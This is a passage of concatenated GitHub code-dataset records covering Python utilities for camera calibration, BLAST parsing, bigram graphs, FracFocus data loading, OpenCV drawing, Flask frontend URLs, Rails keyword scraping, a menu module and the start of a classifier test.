rospy.loginfo(T_camera_world.quaternion)\n rospy.loginfo('Translation: ')\n rospy.loginfo(T_camera_world.translation)\n\n except Exception as e:\n rospy.logerr('Failed to register sensor {}'.format(sensor_frame))\n traceback.print_exc()\n continue\n\n # save tranformation arrays based on setup\n output_dir = os.path.join(config['calib_dir'], sensor_frame)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n rospy.loginfo('Saving to {}'.format(output_dir))\n pose_filename = os.path.join(output_dir, '%s_to_world.tf' %(sensor_frame))\n T_camera_world.save(pose_filename)\n if not args.intrinsics_dir:\n intr_filename = os.path.join(output_dir, '%s.intr' %(sensor_frame))\n ir_intrinsics.save(intr_filename)\n f = os.path.join(output_dir, 'corners_cb_%s.npy' %(sensor_frame))\n np.save(f, reg_result.cb_points_cam.data)\n \n sensor.stop()\n","repo_name":"iamlab-cmu/camera-calibration","sub_path":"scripts/register_camera_using_franka.py","file_name":"register_camera_using_franka.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"25127089228","text":"#!/usr/bin/env python\n\nimport sys\nimport Script\n\ndoc = \"\"\"A simple script to parse BLAST output filtering hits for:\n- % Identity\n- Alignment length\n- Mismatches\n- E-value\n- Bit score\n\"\"\"\n\n# Fields: Query id, Subject id, % identity, alignment length, mismatches, gap openings, q. start, q. end, s. start, s. end, e-value, bit score\n# M02337:42:000000000-ANMUK:1:1101:2619:10376 NC_002551.1 88.00 25 3 0 2 76 7854 7928 3e-08 55.6\n\nclass BLASTlimits():\n identity = None\n alnlength = None\n mismatches = None\n evalue = None\n bitscore = None\n\n def checkRecord(self, record):\n \"\"\"Return True if this blast record (a list) matches the limits in this object.\"\"\"\n if self.identity:\n if float(record[2]) < self.identity:\n return False\n if self.alnlength:\n if int(record[3]) < self.alnlength:\n return False\n if self.mismatches:\n if int(record[4]) > self.mismatches:\n return False\n if self.evalue:\n if float(record[10]) > self.evalue:\n return False\n if self.bitscore:\n if float(record[11]) < self.bitscore:\n return False\n return True\n\ndef usage():\n sys.stderr.write(\"Coming soon\\n\")\n\nclass ParseBlast(Script.Script):\n limits = None\n infiles = []\n outfile = None\n reportfile = None\n\n def parseArgs(self, args):\n if not args or \"-h\" in args or \"--help\" in args:\n return usage()\n prev = \"\"\n self.limits = BLASTlimits()\n self.infiles = []\n for a in args:\n if prev == \"-i\":\n self.limits.identity = self.toFloat(a)\n prev = \"\"\n elif prev == \"-l\":\n self.limits.alnlength = self.toInt(a)\n prev = \"\"\n elif prev == \"-m\":\n self.limits.mismatches = self.toInt(a)\n prev = \"\"\n elif prev == \"-e\":\n self.limits.evalue = self.toFloat(a)\n prev = \"\"\n elif prev == \"-b\":\n self.limits.bitscore = self.toFloat(a)\n prev = \"\"\n elif prev == \"-o\":\n self.outfile = a\n prev = \"\"\n elif prev == \"-r\":\n self.reportfile = a\n prev = \"\"\n elif a in [\"-i\", \"-l\", \"-m\", \"-e\", \"-b\", \"-o\", \"-r\"]:\n prev = a\n else:\n self.infiles.append(self.isFile(a))\n\n def parseOne(self, f, out):\n nin = 0\n nout = 0\n for line in f:\n if line[0] == '#':\n continue\n nin += 1\n parsed = line.rstrip(\"\\r\\n\").split(\"\\t\")\n if self.limits.checkRecord(parsed):\n out.write(\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\".format(parsed[1], parsed[8], parsed[9], parsed[2], parsed[3], parsed[10], parsed[11], parsed[0]))\n nout += 1\n return (nin, nout)\n\n def run(self):\n totin = 0\n totout = 0\n if self.outfile:\n out = open(self.outfile, \"w\")\n else:\n out = sys.stdout\n if self.reportfile:\n rep = open(self.reportfile, \"w\")\n rep.write(\"File\\tHits in\\tHits out\\tHits %\\n\")\n else:\n rep = None\n try:\n if self.infiles:\n for filename in self.infiles:\n with open(filename, \"r\") as f:\n (nin, nout) = self.parseOne(f, out)\n totin += nin\n totout += nout\n if rep:\n rep.write(\"{}\\t{}\\t{}\\t{:.2f}%\\n\".format(filename, nin, nout, 100.0*nout / nin))\n if rep:\n rep.write(\"Total\\t{}\\t{}\\t{:.2f}%\\n\".format(totin, totout, 100.0 * totout / totin))\n else:\n (nin, nout) = self.parseOne(sys.stdin, out)\n if rep:\n rep.write(\"(stdin)\\t{}\\t{}\\t{:.2f}%\\n\".format(nin, nout, 100.0 * nout / nin))\n finally:\n if self.outfile:\n out.close()\n\nP = ParseBlast(\"parseBlast\", version=\"1.0\", usage=usage)\n\nif __name__ == \"__main__\":\n P.parseArgs(sys.argv[1:])\n P.run()\n","repo_name":"uf-icbr-bioinformatics/bioscripts","sub_path":"parseBlast.py","file_name":"parseBlast.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"24586517494","text":"import numpy as np\nimport pandas as pd\nimport networkx as nx\nfrom nltk import ngrams\nfrom pyvis.network import Network\nimport nltk\nimport spacy as sp\nimport enchant\nfrom tqdm.notebook import tqdm\n\nwchecker = enchant.Dict(\"en_US\")\nnlps = sp.load('en_core_web_sm')\n\n\nclass BiGramGraph:\n \"\"\"\n A class used to transform a corpus given as a numpy array into a graph form of the\n 2-gram representation.\n\n ...\n\n Attributes\n ----------\n Graph : nx.Graph\n The Graph Representation of The Ngram Input.\n N_nodes : int\n Number of Nodes in Graph.\n Data : pandas DataFrame\n A Pandas DataFrame containing all words thier color label and POS and ENT tags if appropriate method is called prior.\n Edges : pandas DataFrame\n A Pandas DataFrame containing all edges and thier weights. \n Name : str\n The name given to a graph (Usually to mark it with the name of its corresponding corpus).\n N_edges : int\n Number of Edges in Graph.\n In_Max_Deg : int\n Maximum In Degree in Graph.\n Out_Max_Deg : int\n Maximum Out Degree in Graph.\n In_Min_Deg : int\n Minimum In Degree in Graph.\n Out_Min_Deg : int\n Minimum Out Degree in Graph.\n\n \"\"\"\n\n def __init__(self, data=None, prebuild=None, notebook=False):\n \"\"\"\n Attributes\n ----------\n data : list\n a list of texts to be converted into a BiGram Graph\n prebuild : list\n if prebuild is used than the bigram graph is constructed using the passed in list that sholud\n contain all elements that make up a bigram graph, mainly used in graph duplication and dumping as binary file.\n notebook : boolean\n if set to True then any resources loaded that are compatable with notebook instances will be adapted to notebook mode.\n\n Returns a BiGram-Graph representation of a given set of texts \n return: A generator of cycles\n \"\"\"\n if prebuild != None:\n self.Graph = prebuild[0]\n self.N_nodes = prebuild[1]\n self.N_edges = prebuild[2]\n self.In_Max_Deg = prebuild[3]\n self.Out_Max_Deg = prebuild[4]\n self.In_Min_Deg = prebuild[5]\n self.Out_Min_Deg = prebuild[6]\n self.Data = prebuild[7]\n self.Name = prebuild[8]\n self.Edges = prebuild[9]\n else:\n if not notebook:\n from tqdm import tqdm\n tqdm.pandas()\n else:\n from tqdm.notebook import tqdm\n tqdm.pandas()\n\n # merge text into a singal body and calculate bigram\n tokenized_text = ' '.join(data).split()\n ngram = ngrams(tokenized_text, n=2)\n ngram = list(ngram)\n\n # derive edge weights an unique words to be represented as nodes\n n_frequencies = nltk.FreqDist(ngram)\n edges = list(dict(n_frequencies).keys())\n nodes = np.unique(np.array(edges).flatten())\n\n # initiate an instance of a directed graph\n self.Graph = nx.DiGraph()\n self.Graph.add_nodes_from(nodes)\n # Set graph edges according to bigram pairs\n for x, y in edges:\n self.Graph.add_edge(x, y, value=n_frequencies[(x, y)])\n\n # ===================Graph Attributes ==============================\n self.N_nodes = len(nodes)\n self.N_edges = len(edges)\n self.In_Max_Deg = max(dict(self.Graph.in_degree).values())\n self.Out_Max_Deg = max(dict(self.Graph.out_degree).values())\n self.In_Min_Deg = min(dict(self.Graph.in_degree).values())\n self.Out_Min_Deg = min(dict(self.Graph.out_degree).values())\n self._nlp = None\n self.Data = nx.algorithms.coloring.greedy_color(self.Graph)\n self.Data = pd.DataFrame([self.Data.values(),\n self.Data.keys()]).T.rename(columns={0: 'color', 1: 'word'})\n self.Name = 'Default Name'\n\n self.Edges = pd.DataFrame(edges, columns=['in', 'out'])\n self.Edges['weight'] = self.Edges.apply(lambda _z: n_frequencies[(_z['in'], _z['out'])], axis=1)\n # =================================================================\n\n def add_part_of_speech(self):\n \"\"\"\n Use spacy to extract part of speech tag for each node and append it to the \"Data\" attribute.\n \"\"\"\n import spacy as sp\n self._nlp = sp.load('en_core_web_sm')\n self.Data['pos'] = self.Data['word'].progress_apply(lambda _z: self._nlp(str(_z))[0].pos_)\n\n def add_entities_of_speech(self):\n \"\"\"\n Use spacy to extract part of speech tag for each node and append it to the \"Data\" attribute.\n \"\"\"\n import spacy as sp\n self._nlp = sp.load('en_core_web_sm')\n\n def get_ent(_z):\n t = self._nlp(str(_z)).ents\n if len(t) > 0:\n return t[0].label_\n else:\n return 'NaN'\n\n self.Data['ent'] = self.Data['word'].progress_apply(get_ent)\n\n def get_Xi(self) -> int:\n \"\"\"\n :return: The chromatic number of the graph.\n \"\"\"\n return len(self.Data['color'].unique())\n\n def is_DAG(self):\n \"\"\"\n Check if a BiGramGraph represent a directed acyclic graph\n return: Boolean: True if the graph is DAG else False\n \"\"\"\n return nx.algorithms.dag.is_directed_acyclic_graph(self.Graph)\n\n def get_Diameter(self):\n \"\"\"\n Returns the diameter of the graph\n return: Int: Diameter of the graph\n \"\"\"\n return nx.algorithms.distance_measures.diameter(self.Graph)\n\n def get_Min_Edge_Cover(self):\n \"\"\"\n Returns the minimum edge cover of the graph\n return: \n \"\"\"\n return nx.algorithms.covering.min_edge_cover(self.Graph)\n\n def get_Shortest_Simple_Path(self, start_node, end_node):\n \"\"\"\n Attributes\n ----------\n start_node : str\n the node from which the path starts\n end_node : str\n the node at which the path ends\n\n Returns the shortest simple path between two words\n return: list: shortest path between two nodes\n \"\"\"\n return nx.algorithms.simple_paths.shortest_simple_paths(self.Graph, source=start_node, target=end_node)\n\n def get_Eulerian(self):\n \"\"\"\n\n Returns an euler graph if the given bigram garph is eulerian\n return: network x Graph: euler graph\n \"\"\"\n if nx.is_eulerian(self.Graph):\n return nx.eulerian_circuit()(self.Graph)\n else:\n return 'Not Eulerian'\n\n def get_Volume(self, S):\n\n return nx.algorithms.cuts.volume(self.Graph, S)\n\n def get_Cycle(self, start_node):\n \"\"\"\n Attributes\n ----------\n start_node : str\n the node from which the cycle starts\n\n\n Returns the cycle starting at a given word\n return: list: cycle starting at a given word\n \"\"\"\n return nx.algorithms.cycles.find_cycle(self.Graph, start_node)\n\n def get_All_Unique_Cycles(self):\n \"\"\"\n Returns all unique simple cycles contained inside the graph\n return: List of list where each inner list contains a sequence of nodes representing a cycle\n \"\"\"\n hash_list = []\n unique_cycle = []\n for i in tqdm(range(self.N_nodes), leave=False):\n cyclye = self.get_Cycle(self.Data.word[i])\n c_hash = hash(str(self.get_Cycle(self.Data.word[i])))\n if c_hash not in hash_list:\n hash_list.append(c_hash)\n unique_cycle.append(cyclye)\n return unique_cycle\n\n def get_All_Simple_Cycles(self):\n \"\"\"\n Returns a generator which output simple cycles \n return: A generator of cycles\n \"\"\"\n return nx.algorithms.cycles.simple_cycles(self.Graph)\n\n def get_Shortest_Path(self, source, target, weight=None, method='dijkstra'):\n \"\"\"\n Attributes\n ----------\n source : str\n the node from which the path starts\n target : str\n the node at which the path ends \n Returns the shortest path between two words\n return: list: path between two nodes\n \"\"\"\n return nx.shortest_path(self.Graph, source=source, target=target, weight=weight, method=method)\n\n def is_Strongly_Connected(self):\n return nx.algorithms.components.is_strongly_connected(self.Graph)\n\n def get_Number_Strongly_Connected_Components(self):\n return nx.algorithms.components.number_strongly_connected_components(self.Graph)\n\n def get_Strongly_Connected_Components(self):\n return nx.algorithms.components.strongly_connected_components(self.Graph)\n\n def remove_self_loops(self):\n self.Graph.remove_edges_from(nx.selfloop_edges(self.Graph))\n\n def extract_K_Core(self, K=None, notebook=False):\n \"\"\"\n Attributes\n ----------\n K : int\n the degree of weights in the K core extracted\n notebook : boolean\n the mode of the returend graph similar to the class constructor\n Returns the K core of the graph\n return: BiGramGraph: K core of graph\n \"\"\"\n K_CORE = nx.algorithms.core.k_core(self.Graph, k=K)\n attributes = []\n # ===================Graph Attributes ==============================\n attributes.append(K_CORE) # Graph\n attributes.append(K_CORE.number_of_nodes())\n attributes.append(K_CORE.number_of_edges())\n attributes.append(max(dict(K_CORE.in_degree).values()))\n attributes.append(max(dict(K_CORE.out_degree).values()))\n attributes.append(min(dict(K_CORE.in_degree).values()))\n attributes.append(min(dict(K_CORE.out_degree).values()))\n # Data = nx.algorithms.coloring.greedy_color(K_CORE)\n nodes = list(K_CORE.nodes())\n\n Data = self.Data.set_index('word').loc[nodes].reset_index()\n # Data['color'] = self.Data.set_index('word').loc[nodes].reset_index().color\n # Data = Data[['color','word']]\n attributes.append(Data)\n attributes.append(self.Name)\n\n weights = dict(K_CORE.edges) # [('empty','street')]['value']\n\n Edges = pd.DataFrame(list(weights.keys()), columns=['in', 'out'])\n\n Edges['weight'] = Edges.apply(lambda _z: weights[(_z['in'], _z['out'])]['value'], axis=1)\n attributes.append(Edges)\n # =================================================================\n\n return BiGramGraph(prebuild=attributes, notebook=notebook)\n\n def __repr__(self):\n n = self.N_nodes\n e = self.N_edges\n xi = self.get_Xi()\n return f'Number of words included: {n}\\nNumber of edges included: {e}\\nChromatic number: {xi}\\n'\n\n def __getitem__(self, item) -> dict:\n return dict()\n\n def vectorize(self, string, method='chromatic', seq_length=None, pad_with=None, strategy=None):\n \"\"\"\n Attributes\n ----------\n string : str\n the target text to be vectroized\n method : str\n the method by which the text is vectorized , deafult is chromatic.\n methods include currently only chromatic vectorization\n seq_length : int\n the length of the vectorized output usually set to the maximum length string in a corpus\n pad_with : int\n the number with which the vectorizer will pad missing words only work when strategy argument is set to \"pad_with\"\n strategy : str\n which strategy sholud the vectorizer use when dealing with missing value currently only \"pad_with\" is supported\n\n Returns the vectorized version of the given string\n return: np.darray: vectorized text\n \"\"\"\n\n if method == 'chromatic':\n if type(string) == str:\n if strategy is None:\n vectorized = np.zeros(len(string))\n for idx, word in enumerate(string.split(' ')):\n query = self.Data.query(f'word == \"{word}\"').color.values\n if len(query) == 0:\n vectorized[idx] = float('nan')\n else:\n vectorized[idx] = query[0] + 1\n return vectorized\n elif strategy == 'pad_with':\n vectorized = (np.ones(max(len(string.split(' ')), seq_length)) * pad_with)\n for idx, word in enumerate(string.split(' ')):\n query = self.Data.query(f'word == \"{word}\"').color.values\n if len(query) == 0:\n vectorized[idx] = float('nan')\n else:\n vectorized[idx] = query[0] + 1\n return vectorized\n else:\n raise NotImplementedError('bad strategy')\n elif type(string) in [list, np.ndarray, pd.Series]:\n\n if strategy == 'pad_with':\n\n vectorized = (np.ones(len(string), max(len(string), seq_length)) * pad_with)\n\n for kdx, sentence in enumerate(string):\n for idx, word in enumerate(sentence.split(' ')):\n query = self.Data.query(f'word == \"{word}\"').color.values\n if len(query) == 0:\n vectorized[kdx, idx] = float('nan')\n else:\n vectorized[kdx, idx] = query[0] + 1\n return vectorized\n else:\n raise NotImplementedError('bad strategy')\n\n\n else:\n raise NameError('Bad Method')\n\n def dump(self):\n \"\"\"\n Returns a list of all graph components which can be pickled and than reconstructen using the prebuild argument\n of the class constructor\n return: list: all elements that make up a bigram graph instance\n \"\"\"\n return [self.Graph,\n self.N_nodes,\n self.N_edges,\n self.In_Max_Deg,\n self.Out_Max_Deg,\n self.In_Min_Deg,\n self.Out_Min_Deg,\n self.Data,\n self.Name,\n self.Edges\n ]\n\n def Viz_Graph(self, notebook=False, height=500, width=900, directed=False):\n \"\"\"\n Returns an html file create via graphviz that represents the graph\n return: html: graph vizualization\n \"\"\"\n nt = Network(f'{height}px', f'{width}px', notebook=notebook, directed=directed)\n nt.set_options(\n 'var options = { \"physics\": {\"forceAtlas2Based\": {\"gravitationalConstant\": -230,\"springLength\": 170,\\\n \"springConstant\": 0,\\\n \"avoidOverlap\": 1\\\n },\\\n \"minVelocity\": 0.75,\\\n \"solver\": \"forceAtlas2Based\",\\\n \"timestep\": 1\\\n }\\\n }\\\n ')\n nt.from_nx(self.Graph)\n # nt.show_buttons(filter_=['physics'])\n nt.prep_notebook()\n return nt.show('nx.html')\n","repo_name":"MuteJester/BiGramGraph","sub_path":"BiGramGraph/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":15296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19026561966","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 17 10:15:03 2019\n\n@author: GAllison\n\nThis module is used to read all the raw data in from a FracFocus excel zip file\n\nInput is simply the name of the archive file. We expect that file to be\nin the .\\sources\\ directory of the parent folder.\n\nAll variables are read into the 'final' df. Re-typing and processing is\nperformed downstream in other modules.\n\n\"\"\"\nimport zipfile\nimport pandas as pd\n#import numpy as np\n\n\nclass Read_FF():\n \n def __init__(self,zname='currentData',dirname='./sources/',\n keep_list=None):\n self.zname = dirname+zname+'.zip'\n self.keep_list = keep_list\n self._get_raw_cols_to_import()\n self.pickle_fn = './out/raw_df_pickle.pkl'\n \n def _get_raw_cols_to_import(self):\n \"\"\"just samples one file to retrieve the column list\"\"\"\n with zipfile.ZipFile(self.zname) as z:\n infiles = []\n for fn in z.namelist():\n # the files in the FF archive with the Ingredient records\n # always start with this prefix...\n if fn[:17]=='FracFocusRegistry':\n infiles.append(fn)\n for fn in infiles[0:1]:\n with z.open(fn) as f:\n t = pd.read_csv(f,low_memory=False,nrows=2,\n keep_default_na=False,na_values='')\n\n cols = list(t.columns)\n self.import_cols = []\n if self.keep_list == None:\n self.keep_list = cols\n for col in cols:\n if col in self.keep_list: self.import_cols.append(col)\n\n \n def import_raw(self,num_infiles='all',make_pickle=True):\n \"\"\"\n `num_files: 'all' (default). Otherwise, use integer to include subset and\n reduce run time.\n \n Because we are interested in documenting the different states of 'missing'\n data, we assign NaN values to only the empty cells (''), and keep characters\n entered as is. Later in the process, the NaN will be transformed to a \n string ('_empty_entry_') for string non-numeric fields.\n \"\"\"\n if self.keep_list==None:\n self.keep_list = self.import_cols\n dflist = []\n with zipfile.ZipFile(self.zname) as z:\n infiles = []\n for fn in z.namelist():\n # the files in the FF archive with the Ingredient records\n # always start with this prefix...\n if fn[:17]=='FracFocusRegistry':\n infiles.append(fn)\n \n if num_infiles=='all': last = len(infiles)\n else: last = num_infiles\n for fn in infiles[:last]:\n with z.open(fn) as f:\n print(f' -- processing {fn}')\n if not self.keep_list: print('WARNING: no keep_list in Read_FF')\n t = pd.read_csv(f,low_memory=False,\n usecols=self.import_cols,\n # ignore pandas default_na values\n keep_default_na=False,na_values='')\n \n # this variable is used to make it easier to find the\n # original source of data.\n t['raw_filename'] = fn\n dflist.append(t)\n final = pd.concat(dflist,sort=True)\n final.reset_index(drop=True,inplace=True) # single integer as index\n final['ingkey'] = final.index.astype(int) # create a basic integer index for easier reference\n if make_pickle:\n final.to_pickle(self.pickle_fn)\n return final\n \n def get_raw_pickle(self):\n print('Fetching raw_df from pickle')\n return pd.read_pickle(self.pickle_fn)\n","repo_name":"gwallison/FF-cleanup-test","sub_path":"core/Read_FF.py","file_name":"Read_FF.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6626380107","text":"import numpy as np\nimport cv2\n\ndef calculate_centroid(x1, y1, x2, y2):\n\t\"\"\"\n\tCalculates the centroid of a rectangle based on two corners coordinates.\n\t\"\"\"\n\treturn(int((x1 + x2)/2), int((y1 + y2)/2))\n\n\ndef find_nearest(array, value):\n\t\"\"\"\n\tFind the nearest array object for a certain value.\n\t\"\"\"\n\tarray = np.asarray(array)\n\tid_x = (np.abs(array - value)).argmin()\n\treturn id_x\n\n\ndef draw_objects(img, objs, labels):\n\t\"\"\"\n\tDraws a bounding box and label for each object.\n\t\"\"\"\n\tfor obj in objs:\n\t\tif obj.id == 2 or obj.id == 3 or obj.id == 7:\n\t\t\tbbox = obj.bbox\n\t\t\tcv2.rectangle(img, (bbox.xmin, bbox.ymin), (bbox.xmax, bbox.ymax), (0, 255, 0), 1)\n\t\t\t(label_width, label_height), baseline = cv2.getTextSize(labels.get(obj.id, obj.id), cv2.FONT_HERSHEY_SIMPLEX, 0.5, 1)\n\t\t\tcv2.rectangle(img, (bbox.xmin, bbox.ymin), (bbox.xmin + label_width + 20, bbox.ymin + 4*label_height), (0, 255, 0), -1)\n\t\t\tcv2.putText(img, '%s' % (labels.get(obj.id, obj.id).capitalize()), (bbox.xmin + 10, bbox.ymin + 20), cv2.FONT_HERSHEY_SIMPLEX, 0.4, (0, 0, 0), 1, cv2.LINE_AA)\n\t\t\tcv2.putText(img, '%.2f' % (obj.score), (bbox.xmin + 10, bbox.ymin + 40), cv2.FONT_HERSHEY_SIMPLEX, 0.4, (0, 0, 0), 1, cv2.LINE_AA)","repo_name":"acurber91/open-traffic-detector","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72101370027","text":"from typing import List\n\ndef remove_element(nums: List[int], val: int) -> int:\n j = 0\n for i in range(len(nums)):\n if nums[i] != val:\n nums[j] = nums[i]\n j += 1\n print(nums)\n return j\n\nex_1 = [0,1,2,2,3,0,4,2]\nex_2 = [3, 2, 2, 3]\n\nresult = remove_element(ex_1, 2)\nprint(result)\n\nresult_2 = remove_element(ex_2, 3)\nprint(result_2)\n","repo_name":"davidyoon891122/LeetCode","sub_path":"RemoveElement/remove_element_for.py","file_name":"remove_element_for.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70314366186","text":"import re\nfrom urllib.parse import urlencode, urljoin, urlparse, urlunparse\n\nfrom flask import current_app\n\nfrom jadetree.exc import ConfigError\n\n\ndef setup_frontend_urls(app):\n \"\"\"Configure Application Frontend URLs.\n\n Sets up external URLs for Jade Tree based on values set in the application\n configuration. Any configuration keys with the pattern `FRONTEND_*_PATH`\n will be resolved to full URLs using `urlparse` and with the base server\n name loaded from `FRONTEND_HOST` or `SERVER_NAME`. The resulting paths are\n then stored in a new configuration key `_JT_FRONTEND_URLS` as a dictionary\n with the lower-cased name from the configuration as the key.\n\n As an example, if the application configuration has the given keys, the\n result will be as follows:\n\n ```\n # in application config\n FRONTEND_HOST = 'https://jadetree.my.domain'\n FRONTEND_LOGIN_PATH = '/login'\n FRONTEND_BUDGET_PATH = '/budget'\n FRONTEND_TRANSACTIONS_PATH = '/transactions'\n FRONTEND_LOGO_PATH = 'https://cdn.jadetree.my.domain/logo.svg',\n\n # in application factory\n def create_app():\n app = Flask(__name__)\n setup_frontend_urls(app)\n\n assert app.config['_JT_FRONTEND_URLS'] == {\n 'budget': 'https://jadetree.my.domain/budget',\n 'login': 'https://jadetree.my.domain/login',\n 'logo': 'https://cdn.jadetree.my.domain/logo.svg',\n 'transactions': 'https://jadetree.my.domain/transactions',\n }\n ```\n \"\"\"\n base_url = app.config.get(\n 'FRONTEND_HOST', app.config.get('SERVER_NAME', None)\n )\n if not base_url:\n raise ConfigError(\n (\n 'Either FRONTEND_HOST or SERVER_NAME must be set to resolve '\n 'frontend URLs.'\n ),\n config_key='FRONTEND_HOST',\n )\n\n frontend_urls = dict()\n RE_FRONTEND_PATH = re.compile(r'^FRONTEND_(.*)_PATH$')\n for k, v in app.config.items():\n m = RE_FRONTEND_PATH.match(k)\n if m:\n frontend_urls[m.group(1).lower()] = urljoin(base_url, v)\n\n if frontend_urls:\n app.config['_JT_FRONTEND_URLS'] = frontend_urls\n\n\ndef frontend_url(name, **query_args):\n \"\"\"Build a URL for a Frontend Link.\n\n Builds a URL for the Jade Tree frontend using the Frontend URL list loaded\n from the application configuration. Any `query_args` parameters will be\n included as GET query arguments in the URL.\n\n Args:\n name: Name of the frontend URL in the configuration file, so if the\n `name` parameter is set to `login`, the URL will be created based\n on a configuration parameter named `FRONTEND_LOGIN_URL`.\n query_args: GET query arguments to include in the URL\n\n Returns:\n URL string\n\n Raises:\n KeyError: if the URL name is not in `app.config['_JT_FRONTEND_URLS']`\n ValueError: if the URL name is unset or an empty string\n \"\"\"\n if not name:\n raise ValueError('URL name must be a valid string')\n if name not in current_app.config.get('_JT_FRONTEND_URLS', {}):\n raise KeyError(\n f'The FRONTEND_{name.upper()}_PATH configuration variable '\n 'was not found'\n )\n\n url = current_app.config['_JT_FRONTEND_URLS'][name]\n parts = list(urlparse(url))\n if query_args:\n parts[4] = urlencode(query_args)\n\n return urlunparse(parts)\n\n\ndef jadetree_context():\n \"\"\"Inject Jade Tree information into the Template Context.\"\"\"\n return dict(\n frontend_urls=current_app.config.get('_JT_FRONTEND_URLS', {}),\n frontend_url=frontend_url,\n )\n\n\ndef init_templates(app):\n \"\"\"Initialize the Templating Subsystem.\"\"\"\n setup_frontend_urls(app)\n app.context_processor(jadetree_context)\n app.logger.debug('Template Context Initialized')\n","repo_name":"asymworks/jadetree-backend","sub_path":"jadetree/templates/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"19857110073","text":"#!/usr/local/bin/python3\nimport urllib.request\nimport json\nimport re\n\napi_index_url = 'https://api.rubyonrails.org/js/search_index.js'\n\n# Download index js and parse data as JSON\nfp = urllib.request.urlopen(api_index_url)\napi_index = fp.read().decode('utf8')\nfp.close()\napi_index = api_index[api_index.find('{'):]\napi_json = json.loads(api_index)\n\n# Generate unique and sorted method names list\nmethods = []\nfor name in api_json['index']['searchIndex']:\n matches = re.search('^([A-Za-z_]+[!?]?)\\(\\)$', name)\n if matches:\n methods.append(matches.group(1))\nmethods = list(set(methods))\nmethods.sort()\n\n# Generate unique and sorted class names list\nclasses = []\nfor data in api_json['index']['info']:\n for name in data[0].split('::'):\n if re.match('^[A-Z][A-Za-z]+$', name):\n classes.append(name)\nclasses = list(set(classes))\nclasses.sort()\n\n# Generate formatted output\nkeywords = methods + classes\nprint('rails_keywords = [', end='')\nline_length = 0\nfor i in range(len(keywords)):\n if line_length == 0:\n print(\"\\n \", end='')\n line_length = 4\n print(\"'\" + keywords[i] + \"'\", end='')\n if i < len(keywords)-1:\n print(',', end='')\n line_length += len(keywords[i]) + 1\n if line_length < 80:\n print(' ', end='')\n else:\n line_length = 0\nprint(\"\\n]\")\n","repo_name":"etordera/deoplete-rails","sub_path":"get_keywords.py","file_name":"get_keywords.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72985074028","text":"from ex115ag.lib.formata_inteiro import leiaEscolha\nfrom ex115ag.lib.cores import colorizar\n\ndef linha(tam = 42):\n return '-' * tam\n\n\ndef cabeçalho(txt):\n print(linha())\n print(txt.center(42))\n print(linha())\n\n\ndef menu(lista):\n cabeçalho('MENU PRINCIPAL')\n c = 1\n for item in lista:\n print(f'{colorizar(c,\"amarelo\")} - {colorizar(item,\"azul\")}')\n c += 1\n print(linha())\n opc = leiaEscolha('Sua opção: ')\n return opc","repo_name":"lucasportella/modules_test","sub_path":"ex115ag/lib/interface/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42354473150","text":"import json\nimport logging\nimport os\nfrom datetime import datetime\nfrom typing import Dict\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score\n\nfrom datahub_classify.helper_classes import ColumnInfo, Metadata\nfrom datahub_classify.infotype_predictor import predict_infotypes\nfrom datahub_classify.reference_input import input1 as input_dict\n\nlogger = logging.getLogger(__name__)\n\ncurrent_wdr = os.path.dirname(os.path.abspath(__file__))\ninput_data_dir = os.path.join(current_wdr, \"datasets\")\ninput_jsons_dir = os.path.join(current_wdr, \"expected_output\")\nconfidence_threshold = 0.6\nupdate_confidence_slabs_json = False\n\nlogging_directory = os.path.join(current_wdr, \"logs\", \"logs.log\")\n\ninfotypes_to_use = [\n \"Street_Address\",\n \"Gender\",\n \"Credit_Debit_Card_Number\",\n \"Email_Address\",\n \"Phone_Number\",\n \"Full_Name\",\n \"Age\",\n \"IBAN\",\n \"Vehicle_Identification_Number\",\n \"US_Social_Security_Number\",\n \"IP_Address_v4\",\n \"IP_Address_v6\",\n \"Swift_Code\",\n \"US_Driving_License_Number\",\n]\n\n\ndef get_public_data(input_data_path):\n logger.info(\"===============%s=================\" % input_data_path)\n dataset_dict = {}\n for root, dirs, files in os.walk(input_data_path):\n for i, filename in enumerate(files):\n if filename.endswith(\".csv\"):\n dataset_name = filename.replace(\".csv\", \"\")\n dataset_dict[dataset_name] = pd.read_csv(os.path.join(root, filename))\n elif filename.endswith(\".xlsx\"):\n dataset_name = filename.replace(\".xlsx\", \"\")\n dataset_dict[dataset_name] = pd.read_excel(os.path.join(root, filename))\n return dataset_dict\n\n\ndef populate_column_info_list(public_data_list):\n column_info_list = []\n actual_labels = []\n for i, (dataset_name, data) in enumerate(public_data_list.items()):\n for col in data.columns:\n fields = {\n \"Name\": col,\n \"Description\": f\"This column contains name of the {col}\",\n \"Datatype\": \"str\",\n \"Dataset_Name\": dataset_name,\n }\n metadata = Metadata(fields)\n if len(data[col].dropna()) > 1000:\n values = data[col].dropna().values[:1000]\n else:\n values = data[col].dropna().values\n col_info = ColumnInfo(metadata, values)\n column_info_list.append(col_info)\n actual_labels.append(col)\n return 